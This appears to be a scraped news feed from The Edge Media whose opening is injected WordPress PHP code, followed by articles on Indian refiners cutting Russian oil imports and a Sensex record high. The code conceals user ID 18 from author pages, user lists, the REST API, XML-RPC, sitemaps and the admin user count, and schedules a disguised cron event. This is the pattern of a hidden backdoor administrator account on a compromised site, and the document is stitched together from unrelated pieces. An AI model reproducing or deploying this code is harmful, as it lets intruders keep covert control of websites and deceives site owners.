add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post India to Cut Russian Oil Imports After New US Sanctions appeared first on The Edge Media.
]]>
Major Refiners to Follow Sanction Rules
Several Indian refiners responsible for more than half of the nation’s Russian crude imports are preparing to comply with the new sanctions targeting Moscow’s top oil exporters. These refineries process the crude into fuels such as petrol and diesel. Analysts believe this compliance will lead to a temporary fall in Russian oil arrivals starting December.
Decline Expected in December, Gradual Recovery by 2026
Maritime intelligence firm Kpler reported that Russian crude shipments to India will see a steep drop in December 2025. However, a slow recovery is expected in early 2026 as intermediaries and alternative trade routes develop. Reliance Industries Ltd, one of India’s largest importers with long-term contracts with Rosneft, plans to stop receiving Russian oil. Two state-run refiners have also confirmed suspension of imports.
Key Refiners Suspend Russian Crude Imports
Mangalore Refinery and Petrochemicals Ltd and HPCL-Mittal Energy Ltd—a joint venture between Hindustan Petroleum Corporation Ltd and Mittal Energy—have both decided to halt future Russian oil purchases. Together with Reliance Industries, these companies made up over half of the 1.8 million barrels of Russian crude imported by India in the first half of 2025.
Some Imports to Continue Through Limited Channels
Nayara Energy’s Vadinar refinery, partially owned by Rosneft and already under European Union sanctions, is expected to continue processing Russian crude. According to Sumit Ritolia, Lead Research Analyst at Kpler, Russia was India’s largest oil supplier in October, followed by Iraq and Saudi Arabia. Before the sanctions, Russian exports to India averaged between 1.6 and 1.8 million barrels per day.
Complex Trade Routes Ahead
After October 21, refiners began cutting imports to avoid risks related to the US Office of Foreign Assets Control (OFAC) regulations. Experts predict that Russian oil will not vanish from India’s market but will move through more complex and indirect logistics systems in the future.
The post India to Cut Russian Oil Imports After New US Sanctions appeared first on The Edge Media.
]]>The post Sensex Hits Record 82,000! Nifty Crosses 25,000 as ICICI Bank & Reliance Power 6-Day Market Rally appeared first on The Edge Media.
]]>
The BSE Sensex closed 142.87 points higher at 82,000.71, after rallying 373.33 points intra-day to touch an all-time high of 82,231.17. The NSE Nifty 50 added 33.20 points to end at 25,083.75, extending its bullish momentum.
Top gainers included ICICI Bank, Reliance Industries, Bajaj Finserv, Bajaj Finance, Larsen & Toubro, and Bharat Electronics, which collectively drove the market higher. However, the rally was not broad-based, with 14 Sensex shares closing positive while 16 ended lower, including Power Grid, Hindustan Unilever, Eternal, and Adani Ports.
Analysts attribute the sustained uptrend to robust foreign inflows, healthy liquidity, and renewed investor confidence ahead of key economic data. Experts suggest that if this momentum continues, the Sensex could test the 82,500 mark in the near term.
With benchmark indices hitting fresh highs, investors are closely watching global market cues, sectoral performance, and FII activity to gauge whether this bull run can sustain or if a profit-booking phase lies ahead.
The post Sensex Hits Record 82,000! Nifty Crosses 25,000 as ICICI Bank & Reliance Power 6-Day Market Rally appeared first on The Edge Media.
]]>